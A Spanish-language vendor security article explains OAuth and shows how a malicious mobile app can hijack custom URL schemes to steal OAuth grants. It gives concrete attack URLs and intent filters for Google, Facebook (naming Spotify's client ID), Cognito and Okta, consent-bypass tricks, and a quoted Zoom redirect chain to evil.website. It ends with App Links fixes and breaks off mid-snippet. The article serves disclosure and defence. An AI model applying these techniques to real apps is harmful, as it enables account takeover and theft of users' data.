Neutron, nuestro motor de IA, obtuvo un 96.75% en el benchmark CyberGym de UC Berkeley. Más información

Seguridad

Seguridad

Toma de control de cuentas OAuth mediante el secuestro de esquemas

Cómo una aplicación maliciosa puede secuestrar un esquema de URL personalizado para tomar el control de cuentas OAuth, con exploits contra Google, Facebook, Cognito y Okta, y correcciones para Android e iOS.

Introducción

OAuth se ha convertido en una pieza fundamental para garantizar el intercambio seguro y fluido de datos de usuario entre aplicaciones y servicios. Con el auge de los ecosistemas interconectados y la demanda de experiencias fáciles de usar, OAuth se ha vuelto omnipresente y respalda nuestras interacciones con plataformas de redes sociales, servicios en la nube y una multitud de aplicaciones. Sin embargo, el uso generalizado de OAuth también lo convierte en un objetivo atractivo para los actores maliciosos que buscan explotar vulnerabilidades, por lo que garantizar la seguridad de este protocolo ha adquirido una importancia capital. En este contexto, la insidiosa amenaza de la toma de control de cuentas OAuth mediante la suplantación de aplicaciones ha surgido como una preocupación de seguridad significativa para los usuarios y los proveedores de OAuth.

Este artículo profundiza en los complejos fundamentos de este patrón de vulnerabilidad y arroja luz sobre las intrincadas formas en que los actores maliciosos pueden comprometer cuentas de usuario, suplantar aplicaciones móviles legítimas y abusar del protocolo OAuth. Mediante el secuestro de esquemas de URL personalizados, los atacantes pueden manipular los flujos de autenticación de OAuth y engañar a los usuarios para que concedan acceso no autorizado a sus cuentas y a su información personal. Las consecuencias de estas brechas pueden ser de gran alcance, e incluyen filtraciones de datos, pérdidas económicas y daños a la reputación, tanto para los usuarios como para los proveedores de aplicaciones.

Por ello, este artículo pretende ofrecer al lector una comprensión completa de esta amenaza en evolución, con información sobre las técnicas de ataque más recientes, ejemplos reales y, sobre todo, orientación para identificar y mitigar estos riesgos.

¿Cómo funciona OAuth?

OAuth (abreviatura de Open Authorization) es un marco de autorización de uso habitual que permite a las aplicaciones web, móviles y de escritorio solicitar acceso limitado a la cuenta de un usuario a un proveedor de OAuth sin que el usuario tenga que entregar sus credenciales de inicio de sesión y, al mismo tiempo, permite al usuario revocar el acceso a su cuenta cuando lo desee. Un buen ejemplo es cuando se utiliza una cuenta de Google para iniciar sesión en una aplicación sin tener que introducir desde cero las credenciales y los datos del usuario.

OAuth es un estándar muy flexible por diseño. Aunque algunos de sus componentes están presentes en todas las implementaciones, muchos otros pueden personalizarse según las necesidades del desarrollador. Esta flexibilidad, sin embargo, abre la puerta a una amplia variedad de posibles vulnerabilidades que pueden derivarse, por un lado, de malas prácticas y configuraciones de seguridad incorrectas y, por otro, del uso de redirecciones para transferir datos sensibles entre sus componentes.

Existen dos versiones principales de OAuth, OAuth 1.0 y OAuth 2.0, también denominada OAuth2. Además, hay algunas extensiones que ayudan a hacer más robustas las implementaciones de OAuth, como OpenID Connect, una capa de autenticación construida sobre OAuth 2.0 que proporciona verificación de identidad y autenticación de usuarios, y OAuth 2.0 PKCE (Proof Key for Code Exchange), una extensión de seguridad para clientes públicos que protege frente a la interceptación y la repetición del código de autorización. OAuth 1.0 está obsoleto.

A lo largo de este artículo nos referiremos a OAuth 2.0 simplemente como OAuth, ya que es el estándar de la industria.

Los pasos de OAuth varían según los parámetros de OAuth utilizados; en términos generales, OAuth funciona de la siguiente manera:

  • La aplicación cliente solicita acceso a un subconjunto de los datos del usuario, incluido el tipo de acceso a esos datos (determinado por scope), y especifica el tipo de concesión (response_type).
  • Se solicita al usuario que inicie sesión en el servidor de autorización de OAuth y que dé su consentimiento al alcance solicitado.
  • La aplicación cliente recibe del servidor de autorización un código único de un solo uso denominado code.
  • La aplicación cliente intercambia este code por un access token.
  • La aplicación cliente utiliza el token de acceso recibido para realizar llamadas a la API del servidor de recursos y solicitar los datos para los que el usuario dio su consentimiento.

A continuación se muestra un ejemplo de implementación de OAuth de Auth0, en el que Auth0 Tenant actúa como servidor de autorización y Your API es el servidor de recursos.

Figura 1: implementación de OAuth de Auth0 (crédito: Auth0)
Implementación de OAuth de Auth0

Los principales componentes del marco de autorización OAuth son:

Roles de OAuth

En una implementación típica de OAuth hay cuatro entidades, también denominadas roles:

  • Aplicación cliente: aplicación que solicita acceso a un recurso protegido del servidor de recursos en nombre del propietario del recurso.

  • Propietario del recurso (Resource Owner): el usuario cuyos datos solicita la aplicación cliente.

  • Servidor de recursos (Resource Server): servidor que aloja los recursos protegidos. Actúa como fuente de los datos del usuario.

  • Servidor de autorización (Authorization Server): servidor que autentica al propietario del recurso y emite tokens de acceso tras obtener la autorización y el consentimiento adecuados; actúa como proveedor de identidad.

En muchas implementaciones de OAuth, el servidor de recursos y el servidor de autorización pueden formar parte de la misma entidad, de modo que un único servidor puede encargarse de la autenticación y de proporcionar acceso a los datos del usuario; esto se conoce como el proveedor de servicios OAuth

Tipos de concesión de OAuth

OAuth define varios tipos de concesión (también conocidos como flujos o métodos de autorización) para facilitar distintos casos de uso y escenarios. Cada tipo de concesión está diseñado para requisitos específicos de seguridad y de aplicación. Estos son algunos de los tipos de concesión de OAuth más comunes:

  • Authorization Code Grant: es el tipo de concesión de OAuth más habitual en aplicaciones web y móviles. Consiste en un proceso de dos pasos en el que el cliente obtiene primero un código de autorización del servidor de autorización y luego lo intercambia por un token de acceso; puede utilizarse con Proof Key for Code Exchange (PKCE) para evitar la interceptación y la repetición del código.

  • Implicit Grant: este tipo de concesión está diseñado para aplicaciones de página única (SPA). Emite el token de acceso directamente al cliente, sin un código de autorización intermedio. Aunque es más fácil de implementar, puede plantear algunos problemas de seguridad, por lo que no es adecuado para aplicaciones sensibles con requisitos de seguridad elevados.

  • Resource Owner Password Credentials Grant: este tipo de concesión permite a un cliente obtener directamente un token de acceso proporcionando al servidor de autorización las credenciales del usuario final. Se utiliza generalmente en escenarios en los que el cliente es de plena confianza.

  • Client Credentials Grant: en este tipo de concesión, el cliente (normalmente una aplicación del lado del servidor) se autentica directamente ante el servidor de autorización con sus propias credenciales (ID de cliente y secreto). A continuación recibe un token de acceso basado en su identidad; este tipo de concesión no involucra al usuario.

  • Refresh Token Grant: este tipo de concesión se utiliza para obtener un nuevo token de acceso mediante un token de actualización emitido junto con el token de acceso inicial. Es útil para sesiones de larga duración sin obligar al usuario a volver a autenticarse; en algunas implementaciones de OAuth se denomina access_type, que puede ser online u offline.

  • Device Code Grant: diseñado para dispositivos con capacidades de entrada limitadas (por ejemplo, dispositivos IoT o televisores inteligentes), este tipo de concesión proporciona un código que el usuario puede introducir en otro dispositivo para completar el proceso de autorización.

  • JWT Bearer Token Grant: en este tipo de concesión se utiliza un JSON Web Token (JWT) para solicitar un token de acceso. El JWT está firmado y normalmente contiene afirmaciones (claims) que el cliente puede presentar al servidor de autorización para que emita el token.

  • SAML 2.0 Bearer Assertion Grant: se utiliza para intercambiar una aserción SAML por un token de acceso de OAuth, a menudo en el contexto de sistemas de inicio de sesión único (SSO).

Alcances (scopes) de OAuth

En cualquier tipo de concesión de OAuth, la aplicación cliente debe especificar los datos a los que necesita acceder, así como las operaciones permitidas sobre ellos. Lo hace mediante el parámetro scope de la solicitud de autorización.

Los alcances de OAuth pueden personalizarse en cada implementación y no tienen por qué seguir un formato estándar; una aplicación puede solicitar varios alcances a la vez. A continuación se muestran ejemplos de posibles alcances:

  • email
  • profile
  • contacts.read
  • logging.write
  • https://www.googleapis.com/auth/youtube
  • https://www.googleapis.com/auth/yt-analytics-monetary.readonly

Cuando se utiliza para la autenticación, normalmente se emplea la capa de identidad OpenID Connect (OIDC) sobre OAuth. Uno de los alcances más habituales en ese caso es openid profile, donde openid es obligatorio para indicar que se utiliza OIDC y profile es un conjunto predefinido de información básica sobre el usuario, como nombre, apellidos, fecha de nacimiento, correo electrónico y más.

¿Qué puede salir mal?

Una implementación insegura de OAuth puede dar lugar a numerosas configuraciones de seguridad incorrectas, entre ellas:

Falta del parámetro state, que conduce a CSRF

El parámetro state es un valor que se envía de un lado a otro entre la aplicación cliente y el servidor de autorización. Puede personalizarse según las necesidades del desarrollador. Normalmente se utiliza como protección contra CSRF. Cuando el parámetro state no se aplica, un atacante puede obligar a un usuario objetivo a iniciar sesión en una cuenta concreta.

Token expuesto en el flujo implícito de OAuth

Uno de los principales problemas de la concesión implícita de OAuth es que coloca el token de acceso en el fragmento de la URL, de esta forma: https://auth.myapp.com/#access_token.

Esto hace que el token sea accesible desde cualquier código JavaScript en ejecución, incluido el código de terceros. También supone un riesgo adicional si el sitio web no utiliza HTTPS, lo que podría permitir que el token se filtre mediante ataques MITM. Para evitarlo, la concesión de código de OAuth incluye un paso intermedio en el que, en lugar de solicitar el token directamente, se solicita un código de un solo uso que se revoca automáticamente una vez intercambiado por un token de acceso. Este intercambio se realiza con el client_secret de la aplicación cliente, que normalmente no se expone al usuario (hay excepciones, como en las implementaciones móviles).

Validación del scope defectuosa o ausente

Durante un flujo de OAuth, la aplicación cliente especifica un parámetro scope que determina los datos de usuario que solicita (openid, profile, email...) al servidor de autorización, junto con el tipo de acceso (read, write, readonly); a continuación, el servidor de autorización pide el consentimiento del usuario para conceder ese acceso.

La aplicación podría solicitar inicialmente un alcance muy limitado, como profile, por ejemplo, obtener el consentimiento del usuario y luego decidir solicitar más datos cambiando el scope. Si el servidor de autorización no valida el nuevo alcance solicitado con respecto al solicitado inicialmente, permitirá que la aplicación cliente eluda el consentimiento del usuario y solicite más datos de aquellos para los que el usuario dio su consentimiento en un principio.

Fuga de la concesión de OAuth por una validación laxa de redirect uri

Uno de los fallos clave de los flujos de OAuth es el uso de redirecciones en el navegador para transferir datos confidenciales entre los distintos componentes de OAuth, en concreto la concesión de OAuth (OAuth grant), que permite a la aplicación cliente solicitar datos del usuario al servidor de autorización.

Al depender de las redirecciones, el parámetro redirect_uri de OAuth debe validarse de forma estricta; cualquier validación laxa permitiría a los actores maliciosos filtrar la concesión de OAuth de un usuario objetivo y, en consecuencia, tomar el control de su cuenta en la aplicación cliente y, al mismo tiempo, obtener acceso limitado (según el alcance) a sus datos en el servidor de recursos.

A continuación se muestran algunos ejemplos de validación laxa de redirect_uri que pueden provocar la fuga de la concesión de OAuth:

  • Sin validación de redirect_uri: es el peor escenario; el URI de redirección se acepta tal cual, sin ninguna validación, lo que significa que un atacante puede utilizar cualquier dominio arbitrario y engañar a un usuario para que inicie sesión; una vez que el usuario ha iniciado sesión, su concesión de OAuth se filtra.
  • Coincidencia de prefijo de redirect_uri: en lugar de comparar estrictamente el URI de redirección, algunas aplicaciones solo comprueban que comience por un dominio concreto, por ejemplo, verificar si el redirect_uri empieza por https://www.domain.com, cuando un atacante puede utilizar https://www.domain.com.malicious.com y este se seguiría considerando válido aunque no debería.
  • Coincidencia de redirect_uri con comodín: algunas implementaciones pueden permitir que se utilice cualquier subdominio como URI de redirección; esto significa que, si un atacante logra comprometer o secuestrar un subdominio, puede utilizarlo como URI de redirección.
  • Coincidencia parcial de redirect_uri: algunas implementaciones validarían el dominio pero no la ruta, lo que puede provocar un problema de seguridad cuando se encuentra una redirección abierta en el URI de redirección, porque un atacante puede utilizarla para filtrar la concesión de OAuth mediante una segunda redirección.

Fuga de la concesión de OAuth a través de direcciones de loopback

Algunos proveedores de OAuth se basan en direcciones de loopback para intercambiar datos entre la aplicación cliente (de escritorio y móvil) y el servidor de autorización; esto puede permitir que un actor malicioso inicie su propio servidor local en un puerto concreto, desencadene un flujo de OAuth con dicho servidor como redirect_uri y, en consecuencia, filtre la concesión de OAuth.

A continuación se muestra un ejemplo de Google Cloud SDK que utiliza Google OAuth con localhost como redirect_uri para permitir que la CLI gcloud se autentique:

https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http://localhost:8085/&scope=openid&access_type=offline

Cabe señalar que, aunque el client_id anterior estaba pensado para la aplicación de escritorio de la CLI gcloud, seguía siendo accesible desde dispositivos móviles, lo que daba a los atacantes una superficie de ataque adicional que podría haberse evitado simplemente restringiendo ese flujo de OAuth a los user agents de escritorio.

Suplantación de aplicaciones móviles en OAuth

Una suposición clave durante el flujo de autenticación de OAuth es la titularidad de la entidad a la que apunta redirect_uri. En el caso de redirect_uri=https://www.clientapp.com/callback/oauth, se supone que www.clientapp.com pertenece a la aplicación cliente, ya que es quien lo configuró como redirect_uri y el único que puede reclamar ese dominio.

En el caso de las aplicaciones móviles, la implementación típica de OAuth en dispositivos móviles se basa en esquemas personalizados como redirect_uri=com.target.app://oauth. El problema es que cualquier aplicación del dispositivo del usuario puede registrar este esquema y recibir la concesión de OAuth destinada a la aplicación legítima.

Para que una aplicación registre un esquema de URI personalizado, debe declararlo añadiendo un filtro de intents a su manifiesto, similar a este:

<activity android:exported="true" android:name="PACKAGE_NAME.CLASS_NAME">
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:host="oauthredirect" android:scheme="oauthscheme"/>
    </intent-filter>
</activity>

Es posible que dos aplicaciones registren el mismo esquema; en ese caso, el sistema puede diferenciarlas mediante otros atributos como host, port, path y el tipo MIME. Si ambas aplicaciones tienen los mismos atributos, el sistema deja que sea el usuario quien decida qué aplicación utilizar para continuar (figura 2)

Figura 2: conflicto de esquemas
Conflicto de esquemas

Cuanto menos específico es el elemento data de un filtro de intents, mayor es su cobertura; si los datos aceptados especifican, por ejemplo, solo el scheme, todos los URI con ese esquema serán recibidos por el filtro de intents correspondiente.

Poniendo todo esto en práctica, un atacante ejecuta los siguientes escenarios para explotar OAuth:

Figura 3: diagrama del conflicto de esquemas

A continuación se detalla la figura anterior:

1- Aplicación maliciosa instalada, aplicación legítima no instalada:

En este escenario, una aplicación maliciosa puede reclamar un esquema personalizado de OAuth perteneciente a una aplicación legítima y desencadenar el flujo de autenticación de OAuth; una vez que el usuario inicia sesión y da su consentimiento, la aplicación maliciosa recibirá automáticamente la concesión de OAuth sin ninguna interacción adicional del usuario.

2- Aplicación maliciosa y aplicación legítima instaladas a la vez:

i - El elemento data del filtro de intents de la aplicación legítima especifica solo el esquema:

En este escenario, una aplicación maliciosa puede registrar el esquema personalizado de OAuth perteneciente a la aplicación legítima. Cuando la aplicación legítima desencadena el flujo de OAuth y el usuario inicia sesión y da su consentimiento, se abrirá una ventana emergente para que el usuario elija entre la aplicación legítima y la maliciosa; según la elección del usuario, la aplicación maliciosa podrá recibir o no el código de autorización.

ii - El elemento data del filtro de intents de la aplicación legítima especifica el esquema y el nombre de host:

  • Cuando la validación del host de redirect_uri es laxa: en este escenario, una aplicación maliciosa puede registrar el esquema personalizado de OAuth perteneciente a una aplicación legítima y desencadenar el flujo de autenticación de OAuth con un nombre de host modificado en el redirect_uri; una vez que el usuario inicia sesión y da su consentimiento, la aplicación maliciosa recibirá automáticamente la concesión de OAuth sin ninguna interacción adicional del usuario.

  • Cuando la validación de redirect_uri es estricta: en este escenario, independientemente de si es la aplicación legítima o la maliciosa la que desencadena el flujo de OAuth, al usuario se le presentarán siempre ambas después de iniciar sesión y dar su consentimiento, y el resultado de la explotación dependerá de la elección del usuario.

iii - Confusión de esquemas entre Android e iOS:

Si la aplicación objetivo utiliza OAuth tanto en Android como en iOS con esquemas diferentes, un atacante puede registrar en un objetivo Android el esquema personalizado destinado a la versión iOS de la aplicación y desencadenar el flujo de OAuth; esto permitirá a la aplicación maliciosa evitar el conflicto con la aplicación legítima por el esquema.

En el ejemplo siguiente, la misma aplicación utiliza dos esquemas distintos, com.googleusercontent.apps.616463764658-p01hhcj82u4mqjnp1oca04i3o67fjsm1 y com.googleusercontent.apps.340331662088-a8asqpqohdks6umfpk9p0h1oc2e885v1, para Android e iOS respectivamente.

Figura 4: esquema de Android
Esquema de Android

Figura 5: esquema de iOS
Esquema de iOS

Suplantación de aplicaciones móviles en OAuth con evasión mediante URI de intent (solo Chrome)

Este es otro vector de ataque en el que el atacante logra redirigir a la víctima a un URI basado en intents y, desde ese intent, forzar al usuario a una segunda redirección hacia un host web malicioso, lo que le permite filtrar la concesión de OAuth sin ninguna aplicación maliciosa; este ataque solo funciona contra Chrome, donde se admiten los URI de intents.

Un ejemplo es la toma de control de cuentas OAuth notificada en Zoom; a continuación se muestra cómo se desarrolla el ataque:

El ataque podría realizarse engañando a los usuarios para que visiten la siguiente URL:

https://accounts.google.com/o/oauth2/v2/auth?response_type=code&access_type=offline&client_id=849883241272-ed6lnodi1grnoomiuknqkq2rbvd2udku.apps.googleusercontent.com&scope=profile%20email&redirect_uri=https%3A%2F%2Fzoom.us%2Fgoogle%2Foauth&state=intent%3A%2F%2Fzoom.us%2Fgoogle%2Foauth?#Intent;scheme=https://evil.website/;end;

La víctima llegaría entonces a:

https://zoom.us/google/oauth?state=intent%3A%2F%2Fzoom.us%2Fgoogle%2Foauth%3F&code=SECRET&scope=email+profile+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.profile+openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email&authuser=0&prompt=none#Intent;scheme=https://evil.website/;end;

Y, a continuación, a:

intent://zoom.us/google/oauth?&token=ENCRYPTED_TOKEN#Intent;scheme=https://evil.website/;end;

Y finalmente a:

https://evil.website/zoom.us/google/oauth?&token=ENCRYPTED_TOKEN

Suplantación de aplicaciones móviles en OAuth: explotación

La lista siguiente muestra la explotación práctica de algunos de los proveedores de OAuth más comunes; tenga en cuenta que esta lista no es exhaustiva: encontramos otros proveedores vulnerables pertenecientes a algunos de nuestros grandes clientes, entre ellos proveedores sanitarios regionales, proveedores de identidad gubernamentales y más.

Google OAuth

Durante nuestro análisis se comprobó que varias aplicaciones que utilizan Google OAuth emplean la implementación con esquema personalizado. El esquema personalizado de Google suele seguir este formato: com.googleusercontent.apps.[APPLICATION_ID]

La URL típica de solicitud de autorización de Google OAuth para dispositivos móviles con esquemas personalizados tiene este aspecto, donde [APPLICATION_ID] es un marcador de posición del ID de la aplicación (p. ej., 616463764658-p01hhcj82u4mqjnp1oca04i3o67fjsm1):

https://accounts.google.com/o/oauth2/v2/auth?client_id=[APPLICATION_ID].apps.googleusercontent.com&redirect_uri=com.googleusercontent.apps.[APPLICATION_ID]://oauthredirect&scope=email+profile&response_type=code

Tras una autenticación y un consentimiento correctos, la URL anterior redirige a com.googleusercontent.apps.[APPLICATION_ID]://oauthredirect con la concesión de OAuth y otros parámetros de OAuth como parámetros de la URL, que la aplicación cliente recibe mediante el siguiente filtro de intents:

 <activity android:exported="true" android:name="net.openid.appauth.RedirectUriReceiverActivity">
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:host="oauthredirect" android:scheme="com.googleusercontent.apps.[APPLICATION_ID]"/>
    </intent-filter>
</activity>

Durante la explotación tuvimos que superar algunos obstáculos, entre ellos:

  • Conflicto con la aplicación legítima por el esquema personalizado registrado

Una de las formas de resolverlo es utilizar la confusión de esquemas entre Android e iOS explicada anteriormente.

  • Interacción del usuario necesaria para dar el consentimiento

En un flujo de Google Web OAuth es posible omitir la pantalla de consentimiento del usuario si este ya dio su consentimiento, estableciendo el parámetro de OAuth prompt=none; sin embargo, este comportamiento no es aplicable en dispositivos móviles (solo en web). Una de las técnicas que encontramos para eludir la solicitud de consentimiento y lograr un flujo fluido consistió en añadir el parámetro de OAuth login_hint y asignarle como valor el correo electrónico del usuario objetivo; esto requiere conocer de antemano el correo electrónico del usuario. Existen algunas técnicas para lograrlo, pero no las trataremos en este artículo.

Facebook OAuth

Facebook utiliza un esquema personalizado estándar, fbconnect. Para evitar conflictos por el esquema, las aplicaciones deben especificar una propiedad adicional, host, en el elemento data del filtro de intents.

La solicitud de autorización típica de Facebook OAuth para dispositivos móviles tiene este aspecto en forma de URL, donde [APPLICATION_ID] es un marcador de posición del ID de la aplicación (p. ej., com.spotify.music):

https://m.facebook.com/v15.0/dialog/oauth?client_id=[CLIENT_ID]&sso=chrome_custom_tab&nonce=RANDOM_NONCE&scope=openid%2Cpublic_profile&login_behavior=NATIVE_WITH_FALLBACK&redirect_uri=fbconnect%3A%2F%2Fcct.[APPLICATION_ID]&response_type=id_token%2Ctoken%2Csigned_request%2Cgraph_domain&return_scopes=true

Al igual que en el flujo de Google OAuth anterior, tras una autenticación y un consentimiento correctos, el usuario es redirigido a fbconnect://cct.[APPLICATION_ID] con la concesión de OAuth y otros parámetros de OAuth como parámetros de la URL; el filtro de intents del lado de la aplicación cliente tiene este aspecto:

<activity android:name="com.facebook.CustomTabActivity" android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:scheme="fbconnect" android:host="cct.[APPLICATION_ID]"/>
    </intent-filter>
</activity>

Aunque las aplicaciones deberían especificar el host junto con el esquema personalizado, el host no se valida en el backend, lo que permite a un atacante evitar el conflicto con la aplicación legítima por el esquema desencadenando el flujo de OAuth con un host diferente. A continuación se muestra un ejemplo:

La aplicación legítima de Spotify utiliza fbconnect como esquema y cct.com.spotify.music como host; la URL de la solicitud de autorización tiene este aspecto: https://m.facebook.com/v15.0/dialog/oauth?client_id=174829003346&sso=chrome_custom_tab&nonce=RANDOM_NONCE&scope=openid%2Cpublic_profile&login_behavior=NATIVE_WITH_FALLBACK&redirect_uri=fbconnect%3A%2F%2Fcct.com.spotify.music&response_type=id_token%2Ctoken%2Csigned_request%2Cgraph_domain&return_scopes=true

El filtro de intents de la aplicación legítima de Spotify tendría este aspecto:

<activity android:name="com.facebook.CustomTabActivity" android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:scheme="fbconnect" android:host="cct.com.spotify.music"/>
    </intent-filter>
</activity>

Una aplicación maliciosa puede desencadenar el mismo flujo de OAuth pero con un host diferente. Dado que el backend de Facebook OAuth permitiría cualquier host que empiece por cct., utilizaremos un host distinto que la aplicación legítima de Spotify no espera, como cct.com.fakespotify.malware; este es un ejemplo de la URL de una solicitud de autorización de este tipo: https://m.facebook.com/v15.0/dialog/oauth?client_id=174829003346&sso=chrome_custom_tab&nonce=RANDOM_NONCE&scope=openid%2Cpublic_profile&login_behavior=NATIVE_WITH_FALLBACK&redirect_uri=fbconnect%3A%2F%2Fcct.com.fakespotify.malware&response_type=id_token%2Ctoken%2Csigned_request%2Cgraph_domain&return_scopes=true

El filtro de intents de la aplicación maliciosa de Spotify tendría este aspecto:

<activity android:name="com.facebook.CustomTabActivity" android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:scheme="fbconnect" android:host="cct.com.fakespotify.malware"/>
    </intent-filter>
</activity>

La aplicación maliciosa seguiría recibiendo la misma concesión de OAuth destinada a la aplicación legítima, ya que es el parámetro client_id el que identifica qué aplicación solicita datos al servidor de autorización; por tanto, tener el mismo client_id 174829003346 que Spotify significa que la suplantamos con éxito.

Amazon Cognito OAuth

Amazon Cognito es un servicio ofrecido por Amazon Web Services (AWS) que proporciona gestión de identidades y de usuarios para aplicaciones web y móviles. Está diseñado para facilitar a los desarrolladores la incorporación de capacidades de autenticación, autorización y gestión de usuarios a sus aplicaciones. Amazon Cognito permite autenticar a los usuarios a través de un proveedor de identidad externo y proporciona credenciales de seguridad temporales para acceder a los recursos del backend de la aplicación en AWS o a cualquier servicio situado detrás de Amazon API Gateway. Amazon Cognito funciona con proveedores de identidad externos compatibles con SAML u OpenID Connect y con proveedores de identidad sociales (como Facebook, Twitter o Amazon), y también puede integrar un proveedor de identidad personalizado.

La parte que nos interesa es OpenID Connect, ya que está construido sobre OAuth 2.0 y utiliza un esquema personalizado para la autenticación OAuth en dispositivos móviles. La URL de OAuth móvil de Amazon Cognito tiene este aspecto:

https://[AMAZON_COGNITO_ENDPOINT]/login?response_type=code&client_id=[CLIENT_ID]&redirect_uri=[CUSTOM_SCHEME]://sign-in&scope=openid

En el lado de la aplicación cliente, tenemos el siguiente filtro de intents:

<activity android:name="com.amplifyframework.auth.cognito.activities.HostedUIRedirectActivity" android:exported="true" android:launchMode="singleTask">
    <intent-filter android:autoVerify="true">
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:scheme="[CUSTOM_SCHEME]"/>
        <data android:host="sign-in"/>
        <data android:host="sign-out"/>
    </intent-filter>
</activity>
  • Omisión de la interacción del usuario

Es posible eludir la interacción del usuario utilizando un endpoint diferente, /oauth2/authorize; a continuación se muestra un ejemplo de URL:

https://[AMAZON_COGNITO_ENDPOINT]/oauth2/authorize?redirect_uri=[CUSTOM_SCHEME]://sign-in&response_type=TOKEN&client_id=[CLIENT_ID]&scope=openid

Okta OAuth

Okta es una plataforma de gestión de identidades y accesos (IAM) basada en la nube que proporciona autenticación y autorización seguras para aplicaciones, dispositivos y usuarios. Permite a las organizaciones gestionar y controlar el acceso a sus diversos recursos, tanto locales como en la nube.

La oferta principal de Okta es el inicio de sesión único (Single Sign-On), que permite a los usuarios acceder a varias aplicaciones y servicios con un único conjunto de credenciales de inicio de sesión. Okta SSO ofrece múltiples integraciones, siendo las más comunes SAML y OpenID Connect.

Al igual que los proveedores de identidad anteriores, Okta utiliza un esquema personalizado en su implementación de OAuth para dispositivos móviles. No existe un esquema estándar: las aplicaciones pueden definir sus propios esquemas personalizados, como com.myorg.myapp.dev, con una URL de solicitud de autorización como la siguiente:

https://[OKTA_IDP_ENDPOINT]/oauth2/[IDENTIFIER]/v1/authorize?scope=[SCOPE]&response_type=code&redirect_uri=com.myorg.myapp.dev://login&client_id=[CLIENT_ID]

En el lado de la aplicación cliente, tenemos el siguiente filtro de intents para recibir la concesión de OAuth:

<activity
    android:name="com.okta.oidc.OktaRedirectActivity"
    android:exported="true"
    android:launchMode="singleInstance"
    android:autoRemoveFromRecents="true">
    <intent-filter>
        <action android:name="android.intent.action.VIEW" />
        <category android:name="android.intent.category.DEFAULT" />
        <category android:name="android.intent.category.BROWSABLE" />
        <data android:scheme="com.myorg.myapp.dev" />
    </intent-filter>
</activity>
  • Omisión de la interacción del usuario

Al igual que Google OAuth, Okta también dispone de un parámetro de OAuth, login_hint, que, cuando se le proporciona el correo electrónico del usuario objetivo, permite a la aplicación maliciosa eludir la interacción del usuario (el consentimiento) y lograr un flujo fluido.

Aplicaciones populares vulnerables

Una de las mayores redes sociales, con más de 3.5 mil millones de descargas, resultó ser vulnerable a este patrón de vulnerabilidad. Se desarrolló un exploit de prueba de concepto en el que se evita el conflicto de esquemas con la aplicación legítima mediante la técnica de confusión de esquemas entre Android e iOS descrita anteriormente. La interacción del usuario también se evita estableciendo el parámetro login_hint con el correo electrónico del usuario objetivo.

Para desarrollar una prueba de concepto funcional que eludiera la interacción del usuario tuvimos que pasar por varios pasos, cada uno con sus propios obstáculos.

El esquema personalizado utilizado por la aplicación de Android para Google OAuth ya estaba registrado cuando se instaló la aplicación legítima en el dispositivo; una aplicación maliciosa que intentara registrar el mismo esquema provocaría un conflicto en el que el usuario tendría que elegir entre las dos aplicaciones (la legítima y la maliciosa). Para superar este obstáculo, utilizamos el esquema de iOS en lugar del de un objetivo Android, lo que nos permitió evitar ese conflicto y, en consecuencia, eludir la primera parte de la interacción del usuario.

Otro obstáculo con el que nos encontramos fue que seguía siendo necesaria la interacción del usuario para completar la autenticación OAuth. Una forma de eludirla fue filtrar el correo electrónico del usuario y pasarlo al parámetro de OAuth login_hint, con lo que el exploit dejó de depender de la interacción del usuario.

La concesión de OAuth filtrada tiene este aspecto; esta concesión nos permitiría acceder a la cuenta del usuario objetivo, así como tener acceso limitado a su cuenta de Google según el alcance solicitado:

Figura 6: concesión de OAuth filtrada de la red social
Concesión de OAuth filtrada de la red social

Notificamos esta vulnerabilidad a la red social, que la reconoció.

Se encontraron muchas otras aplicaciones populares vulnerables a este patrón, incluidas aplicaciones con más de 100M de descargas.

Recomendación

En el contexto de OAuth, los esquemas personalizados se han utilizado tradicionalmente, pero existen opciones más seguras y fiables, entre ellas:

Los Android Verifiable App Links y los iOS Associated Domains son mecanismos implementados por los sistemas operativos Android e iOS, respectivamente, para mejorar la seguridad y la experiencia de usuario de las aplicaciones móviles. Los Android Verifiable App Links garantizan que, cuando un usuario hace clic en un enlace web asociado a una aplicación de Android, el sistema verifique su autenticidad, lo que lo hace menos susceptible al phishing o a ataques maliciosos. Los iOS Associated Domains, por su parte, permiten a las aplicaciones de iOS establecer conexiones de confianza con dominios web específicos, lo que posibilita una integración fluida entre las aplicaciones y el contenido web, como el inicio de sesión único y los universal links. Ambas tecnologías sirven para reforzar la confiabilidad de las interacciones de las aplicaciones móviles y agilizar las interacciones del usuario, lo que contribuye a un ecosistema móvil más seguro y cómodo.

Android

Es necesario tener alojado en su backend el archivo /.well-known/assetlinks.json con un formato como este:

[
  {
    "relation": [
      "delegate_permission/common.handle_all_urls",
      "delegate_permission/common.get_login_creds"
    ],
    "target": {
      "namespace": "android_app",
      "package_name": "com.myapplication.android",
      "sha256_cert_fingerprints": [
        "APPLICATION_CERT_FINGERPRINT"
      ]
    }
  }
]

AndroidManifest.xml

    <intent-filter android:autoVerify="true">
    <action android:name="android.intent.action.VIEW" />
    <category android:name="android.intent.category.DEFAULT" />
    <category android:name="android.intent.category.BROWSABLE" />

    <!-- If a user clicks on a shared link that uses the "http" scheme, your
         app should be able to delegate that traffic to "https". -->
    <data android:scheme="http" />
    <data android:scheme="https" />

    <!-- Include one or more domains that should be verified. -->
    <data android:host="auth.myapp.com" />
</intent-filter>

Kotlin

Log.i(TAG, "Creating auth request for login hint: $loginHint")
